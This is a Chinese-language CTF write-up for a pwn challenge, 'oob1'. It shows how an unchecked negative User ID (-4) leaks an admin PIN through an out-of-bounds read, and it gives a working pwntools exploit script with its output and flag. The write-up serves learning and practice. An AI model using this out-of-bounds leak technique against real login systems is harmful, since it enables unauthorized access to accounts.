Pwnctf oob1 Writeup

kazma 成大資安社 創辦人/社長

oob1

執行後可以觀察到這題的情境是一個登入系統,首先會讓我們輸入 User ID,然後輸入密碼,再來會顯示我們嘗試登入的使用者名稱,最後輸出結果,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
└─$ ./oob1
User ID: 3
PIN: 1324
Logging to [guest] ... Failed
Incorrect PIN code!

User ID: 0
PIN: 0000
Logging to [admin] ... Failed
Incorrect PIN code!

User ID: 5
non-existed ID!

這題的關鍵是在讀取 User ID 時沒有做檢查,又他會顯示我們正在嘗試登入的使用者,因此可以透過 oob read 去讀取到 admin 的一開始設定的隨機密碼:

key

從上面可以看到 obj.user 的位置在 0x6010c0,那我們接下來就找 admin 的密碼放在哪個位置:

pass

從上面可以找到 obj.pincode 在 0x6010a0,跟 obj.user 差 0x20,又原本的功能是要取其他 username 所以 rax 會左移三個 bits,也就是乘以 8,故 User ID 輸入 -4 可以 oob read 我們想要的東西,然後 information leak 完之後再把結果吃回來整理一下,登入 admin 即可走到 win func,exploit 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
import warnings
warnings.filterwarnings("ignore", category = BytesWarning)

r = process("./oob1")

r.sendlineafter(":", "-4")
r.sendlineafter(":", "1234")

r.recvuntil("[")
pin = u32(r.recvuntil("]")[:-1][:4].ljust(4, b'\x00'))
print("pin: {}".format(pin))

r.sendlineafter(":", "0")
r.sendlineafter(":", str(pin))

r.sendline('cat f*')
r.interactive()

Result:

1
2
3
4
5
6
7
└─$ python exploit.py
[+] Starting local process './oob1': pid 2841934
pin: 151386595
[*] Switching to interactive mode
Logging to [admin] ... Ok!

BreakALLCTF{CPuPeMrhVrWWx2XueaIr}

Pwned !!!

  • Title: Pwnctf oob1 Writeup
  • Author: kazma
  • Created at : 2024-01-17 01:04:53
  • Updated at : 2024-01-17 02:09:04
  • Link: https://kazma.tw/2024/01/17/Pwnctf-oob1-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
 Comments
On this page
Pwnctf oob1 Writeup